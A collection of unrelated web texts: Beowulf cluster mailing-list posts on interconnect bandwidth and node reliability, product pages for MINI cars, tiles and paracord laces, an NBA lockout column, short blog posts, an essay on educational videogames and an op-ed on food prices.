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text: PCIe Gen2 at 5GT, and 8/10 bit encoding and current chipsets efficiencies gives you around 3.3GB/s per direction, so one IB QDR port can handle that. For more BW out of the host, you can use more adapters (single port ones are the cost effective solution for that). Gilad From: beowulf-bounces at beowulf.org [mailto:beowulf-bounces at beowulf.org] On Behalf Of Brian Dobbins Sent: Tuesday, February 23, 2010 2:42 PM To: Patrick Geoffray Cc: beowulf at beowulf.org Subject: Re: [Beowulf] Q: IB message rate & large core counts (per node)? I thought PCIe Gen2 x 8 @ 500 Mhz gives 8GB/s? I know there are 250 and 500 Mhz variants in addition to the lane sizes, so while a 250 Mhz x8 link wouldn't provide enough bandwidth to a dual-port card, the 500 Mhz one should. But I'm woefully out of date on my hardware knowledge, it seems. Of course, EDR (eight data-rate) IB is on the roadmap for 2011, so if we're in no rush that could help, too. Er,.. I thought about this a half-second after I sent it. First, that's 5.0 Ghz, not 500 Mhz, and second, that's probably aggregate bi-directional throughout at 8 GB/s, isn't it? So, I got it, 4 GB/s per direction, which means dual-port won't get us much in terms of unidirectional throughput. - Brian -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://www.beowulf.org/pipermail/beowulf/attachments/20100223/8881a7ea/attachment.html>


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Clever. Personable. Unique. These are the qualities that MINI was founded on, and the very same that define MINI today. The Original Mini (lower case prior to our relaunch in 2002) dared to be different. It was a small, fuel-efficient car, born in 1959 as a creative solution to the threat of rising gas prices during the Suez Oil Crisis. With its space-maximizing transversely-mounted engine and wheels-pushed-out design, it was unlike any other car around. And it wasn't long before people began to take notice.
Everyone from rock stars to royalty became smitten with the Mini's combination of quintessential British charm and motoring fun. Youth culture celebrated its convention-defying aesthetic. Families valued the everyday practicality and efficiency it afforded. Motorsport enthusiasts revered its corner-carving agility. The Mini was ahead of its time. It didn't reinvent the wheel. But it revolutionized the idea of what an automobile could be. Today, similar principles and spirit apply to all five MINI models. With all-new levels of technology, performance, and practicality, we make even a family car fun again.


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This polychrome tile is a role-player, designed for installation.
Glazes used: 5157, 5000, shown in 5123*
*Stripe can be customized with the color of your choice.
Actual tile size: 1-13/16" x 5-13/16" x 5/8"
Price: $39.00 USD/piece
|2682 BL | 2x6 Shorty, Black
|2682 BG | 2x6 Shorty, Blue Green
|2682 BR | 2x6 Shorty, Brown
|2682 CL | 2x6 Shorty, Charcoal
|2682 DB | 2x6 Shorty, Dark Blue
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Why can't I order this product on your website? This item is available by special order. Contact our friendly design department or call 734-213-0017 for pricing, sampling and ordering info.
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text: On Mon, 22 Nov 2004, Nicolas Jungers wrote: > On Mon, 2004-11-22 at 20:37, Mark Hahn wrote: >> I seem to be able to buy a functional dual-em64t node from Dell for around >> $1K, > > is this a typo or is it really really a dual em64T from Dell for $1k > ??? I plan to buy soon, and that's a price that I cannot ignore. For > what I see the list price of the PowerEdge 2800 is around $5-6k for a > "functional" configuration. the 1850 is more like $1.5K with two 2.8ghz cpus with a useful amount of memory (for me 2GB) it's around $1900. > Intrigued, > Nicolas > > _______________________________________________ > Beowulf mailing list, Beowulf at beowulf.org > To change your subscription (digest mode or unsubscribe) visit http://www.beowulf.org/mailman/listinfo/beowulf > -- -------------------------------------------------------------------------- Joel Jaeggli Unix Consulting joelja at darkwing.uoregon.edu GPG Key Fingerprint: 5C6E 0104 BAF0 40B0 5BD3 C38B F000 35AB B67F 56B2


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- Details
Get rid of those cheap boot laces that you are currently using and replace them with genuine US made 550 cord - paracord Survival Laces. These laces are one of a kind, paracord cut to bootlace length and finished with tips. Great way to ensure you always have some life-saving paracord with you.
We've been replacing our own laces for years with paracord and with some boots and shoes, it's hard to get the melted ends through the eyelets. Now we have real, factory made paracord shoelaces. And they're cheaper than shoelaces at your local store.
Paracord made by an approved vendor of the United States Department of Defense, passing all of the government's quality control, first-article inspection requirements. This supplier has earned its reputation of quality cordage among Yankee clipper ship sailors who insisted on the most dependable and durable cordage as they sailed to all parts of the world. During World War II, the U.S. and Allied government called upon the supplier's expertise for the manufacture of parachute cords, tow lines, bomb lanyards, shroud lines, survival kit items, and cordage for many other special needs.
We also have a wide variety of brightly colored paracord now available, please check them out!
The supplier's certified and calibrated laboratory's policy is one of continuous product improvement and development. Constant monitoring and testing of incoming raw materials, in-process manufacturing inspections, and final product specification testing assure that all components meet and often surpass government standards.
Nylon itself holds up well in UV. The colorants add an extra element of UV inhibitors as well. All of these factors add up to a U.V. resistant cord, however everything will eventually break down in the sunlight. Colors fade and strength is ultimately reduced when exposed to direct sunlight. This is true with all fibers, however nylon does hold up a bit better than others.
Survival Laces are ideal for camping, boating, crabbing, indoor or outdoor clothesline, halyard line, garden line & any other uses requiring great strength & durability.
Contains Seven (7) Removable Inner Strands that can be used for fishing line, sewing thread, tripwire, nets, traps and other emergency +/or survival situations.
Paracord is a lightweight nylon kernmantle rope originally used in the suspension lines of US parachutes during World War II. Once in the field, paratroopers found this cord useful for many other tasks. It is now used as a general purpose utility cord by both military personnel and civilians. This versatile cord was even used by astronauts during STS-82, the second Space Shuttle mission to repair the Hubble Space Telescope.[1]
The braided sheath has a high number of interwoven strands for its size, giving it a relatively smooth texture. The all nylon construction makes paracord fairly elastic; depending on the application this can be either an asset or a liability.
Mil Spec 550 Para Cord is made to Mil-C-5040 specifications (7-strand core). This para cord is trusted and used by our armed forces.
Military grade 550 paracord rope known as Mil-C-5040 Type 3 is made of nylon so that is dries quickly and is mildew resistant. It is 1/8 inch in diameter and is rated for 550 lbs.
Note from Tom Sciacca:
I've been wearing paracord shoelaces for years and it can be difficult with some shoes as I never perfected the ends. For a while I've wanted to have them professionally made, and now do. I'm very excited about this as it is both an urban and wilderness preparedness and survival (and much more) type gear. They are not only versatile as paracord is, but as you may know, they are stronger and more durable than other laces, but at our low price, they are now even less expensive than buying shoe laces at the store. With the strong outer nylon sheath and the 7 inner strands, it's like always having a survival kit in your shoes.
- Reviews
Customer Reviews — 2item(s)
Best Boot Laces
- Great boot laces, a must have.. I've replaced all my boot laces with these, bought them before they went on clearance probably gonna buy a few more pairs just in case.
Large lace ends
- The price was right but the ends of these laces are too large for my eyelets. I bought several pairs but was not able to use them because they would not fit through the lace holes on my shoes. They are durable and I'm sure I would have been happy with them if they fit. Maybe another shoe will allow their use.


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The Aspen Ideas Festival is the nation's premier, public gathering place for leaders from around the globe and across many disciplines to engage in deep and inquisitive discussion of the ideas and issues that shape our lives and challenge our times. The 2019 Festival will take place from June 20 – 29.
Explore hundreds of sessions from the festival. Find video and audio by topic:


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HANG TIME HEADQUARTERS — Your anger is understandable.
Mostly because the actions of so many are indefensible.
With this latest breakdown in talks between the two sides in the NBA's labor madness comes a sobering truth about this entire process. It's never been about saving the game or even preserving it for the fans. It's about two sides fighting over a billion dollar pie and each one wanting the biggest piece. Someone has to win and someone has to lose, compromise be damned!
We knew as much when this thing started, but we seemed to lose sight of that in the past few months with all the details tossed into the fray to deflect our attention from the fundamentals of this dispute. Our confidence has been betrayed by the men who have asked for that very thing from us, the basketball loving public,. And here we stand, just days away from what should have been the start of a season, staring at a potential season on the brink.
When the federal mediator both sides agreed to let dive into the middle of this battle packs up his stuff and heads for the door after three days of listening to everyone talk, it's clear the "gulf" between the positions NBA Commissioner David Stern spoke of last week is greater than most of us imagined.
Unlike many of my less cynical colleagues here at the hideout and beyond, I wasn't expecting a resolution to this process this week. I did (foolishly) assume that some tangible progress this week could lead to a deal sometime in the very near future.
But not after reading these words from NBPA attorney Jeffrey Kessler after the Board of Governors meeting:
"This meeting was hijacked. Something happened at their [owners] meeting. This is not the move where the owners were yesterday. We were making progress, as you heard.
"They came back, they came without the commissioner. They came with Paul Allen. We were told Paul Allen was here to express the views of the other members of the Board of Governors. And that view was: 'Our way or the highway.'
"That's what we were told. We were shocked. We went in there trying to negotiate, and they came in and said, 'You either accept 50-50 or we're done. And we won't discuss anything else.' "
Point fingers in whatever direction you like. Both sides are doing the same now without hesitation.


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April 08, 2006
Don't miss V for Vendetta!
I don't normally post on the weekends but last night I saw the film V for Vendetta and it blew me away. It is a brilliant political thriller with disturbing parallels to what is currently going on in the US. It kept me completely absorbed.
I'll write more about it next week but this is just to urge people to see it before it ends its run.


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As I was sewing last night, my sewing machine started acting up. The photo below is of the back of the fabric, the thread, i think, is from the bobbin.
Much to my sadness, my machine is going to the sewing machine hospital as soon as I can drive to Greensburg. Anybody have any ideas?


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text: I agree with Alan that claims should be taken with the _appropriate_ pinch of salt, but reliability is _so_ important that I think that misinterpretation shouldn't be an issue. Whilst - for farms, at least - it is sometimes OK to refer to the system as a whole, when it comes to HP(T)C, the mean time to _node_ failure is more than significant. If you're running a single job on, say, 32 nodes that'll last 10 days (not entirely typical, but far from ridiculous) and one of the nodes fails after 9 days....... Oops! That'll be a fair amount of cash down the drain then. John Brookes Quadrics T: +44 (0)117 9155500 F: +44 (0)117 9075395 E: johnb at quadrics.com W3: www.quadrics.com > -----Original Message----- > From: Alan Scheinine [mailto:scheinin at crs4.it] > Sent: 12 November 2002 13:16 > To: beowulf at beowulf.org > Subject: Re: 0,000,000 for cluster computing > > > This message uses a character set that is not supported by > the Internet Service. To view the original message content, > open the attached message. If the text doesn't display > correctly, save the attachment to disk, and then open it > using a viewer that can display the original character set. >


text: :(where lilith is a laptop that happens to be entirely off, so it doesn't :even ping). In cases where the host pings but sshd happens to be turned :off it tries four times and then quits -- about four seconds. I haven't :tried it when a host is hung in exactly the state you describe (pingable :so there is a route, but sshd nonresponsive but not quite dead because :of thrashing) but it seems likely that it would be handled somewhere :between these two extremes. Not always -- there are times when this sort of assumption will fail, and ssh will hang forever. We used to run into this trouble routinely on our cluster when running large G98 jobs, and although the problems diminished when we upgraded to the 2.4 kernels, they never entirely disappeared. I handled this by surrounding the ssh calls in my perl script with alarms, such that the perl code enforced the timeout since ssh wouldn't. This approach wasn't foolproof -- for reasons I don't entirely understand, every once in a while the perl code would dump core. However, since it was only a status monitor, I just set up a cron job to restart it if it stopped. If you're interested, you can grab the perl code for my status monitor at http://dasher.wustl.edu/~alan/software/ psh2, which runs commands on each node in turn, does not have this code built in to it, but that's because the user tells it which nodes to run on, and can manually skip nonresponsive nodes. Hope this helps, Alan Grossfield ---------------------------------------------------------- | Programming: a pastime similar to banging one's head | | against a wall, but with fewer opportunities for | | reward. The Jargon File | |----------------------------------------------------------


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Videogames and Learning
Not a week goes by where I don't receive an unsolicited email from a company touting the benefits of its new 'educational videogame'. Indeed, just last week I opened my inbox to find two separate emails proclaiming how two different mobile gaming apps were destined to "transform learning!!!" Now, in a lot of the cases, I must confess that I am not always sure why something is an 'educational game', and not just a 'game' (although if I am in a difficult mood, I might offer that in too many instances an 'educational game' is 'a game that really isn't much fun'). That said, there is no denying that videogames are big business around the world. So -- increasingly -- is education. Even most people who fear that potential negative effects of some (or even most) videogames on young people would, at the same time, acknowledge the promise and potential for videogames to offer enriching learning experiences. The history of the introduction of educational technologies is in many ways long on promise and potential, however, and short on actual evidence of how they impact learning in tangible and fundamental ways.
Much is made of the potential for ICTs to be used to promote more personalized learning experiences through the introduction of various types of ICT-enabled assessment systems. For me, it has long seemed like the most powerful real-time learning assessment engines have been found in videogames, where actions (or inactions) are often met with near instantaneous responses, to which the player is then challenged to respond in turn. This feedback loop -- taking an action, being presented with information as a result, having to synthesize and analyze this information and doing something as a result -- might meet some people's definition of 'learning'. A good videogame engages its users so strongly that they are willing to fail, and fail, and fail again, until they learn enough from this failure that they can proceed with the game. Even where educational software is not explicitly labeled as a 'game', designers are increasingly introducing game-like elements (badges, achievement bonuses, scoring systems) as a way to promote user (learner? player?) engagement as part of a process known as 'gamification'.
The use of videogames for educational purposes, or at least in educational contexts, is far from an OECD or U.S. phenomenon. Whether I am visiting a school computer lab after hours in central Russia, an Internet cafe filled with students in Indonesia or standing behind some schoolgirls carrying phones between classes in Tanzania, 'educational' videogames seem to be nearly everywhere. Past posts on the EduTech blog have profiled things like the use of video games on mobile phones to promote literacy in rural India and EVOKE, an online game for students across Africa which the World Bank helped sponsor a few years ago. When I speak with young software entrepreneurs in Nairobi or Accra or Manila, they often talk excitedly about the latest educational game they are developing (for markets local and distant).
Do educational games 'work'?
Are they 'effective'?
And if so: How can they be used in schools?
Questions such as these are of increasing interest to scholars. Given both their potential for learning, and how aggressively videogames are being marketed to many education systems, they should be of increasing interest to educational policymakers as well. Some recent research brings us a little closer to a time when we can answer some of them.


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Every six months or so, as I drive along the main drag pre-dawn, the siren call of dough deep-fried in artery-clogging fats and coated with sugar reaches out to ensnare me, and ever so guiltily I wheel in for a couple of glazed donuts.
For the longest time, the tab was one buck — 50 cents each. Today, it was $1.20, a 20 percent increase (there was not, alas, a corresponding increase in the size of the donuts).
Now granted, a 20-cent boost in the price of two donuts spread over the six months between cravings ain't a budget-buster.
But while I was conditioned to automatically forking over a dollar bill for my biannual lapse into sinfulness, in a transaction that was neat and even, now I'll have to cough up another 20 cents … and that just may be the added psychological restraint that keeps me on the wagon.
I'm sure the donut seller could cite the huge increase in the cost of flour and other inputs as justification for the price hike, a microcosmic representation of what the U.S. food consumer has been confronted with at every turn for the past couple of years — price escalation seemingly of a magnitude equivalent to the oil/energy sector.
Everything from Oreos to chicken to broccoli to bacon either saw significant price increases or less product in the package (i.e., 12 ounces of bacon as a "pound") or both.
Food prices at the nation's grocery stores rose by a whopping 6.6 percent in 2008, according to the Department of Labor (baked goods and cereals led the list, up 11.7 percent). It was the largest increase in nearly 30 years, coming on top of a 5.6 percent increase in 2007. By contrast, the 2006 increase was 1.4 percent.
Big Food was quick to attribute the increase to higher energy costs in all the steps along the pipeline from farm to supermarket shelf; record or near-record prices for corn, wheat, rice, and soybeans; and the government-mandated increase in ethanol production and usage.
But while they were spending millions on PR and lobbying campaigns in an attempt to portray ethanol and higher crop prices as villains, they were racking up quarterly profit increases of 37 percent, 61 percent, 72 percent, etc.
The CEO of one major food company noted that "in 2008, we made progress in several important areas, most notably pricing." Another reported that higher retail food prices "have so far helped keep (our) profits safe from the higher costs" of commodities/inputs.
So, though their costs were indeed increasing, they were able not only to insulate themselves by raising the prices for their products, they were able to rack up substantial profits in the process.
Interestingly, while oil prices have fallen precipitously in the wake of the global financial meltdown, and major commodity prices are significantly below year-ago levels, supermarket food prices have not declined.
Some industry analysts expect food sector inflation to ease somewhat this year — but that won't do anything to offset the ongoing impact of the 12.2 percent increase consumers have been hit with the past two years.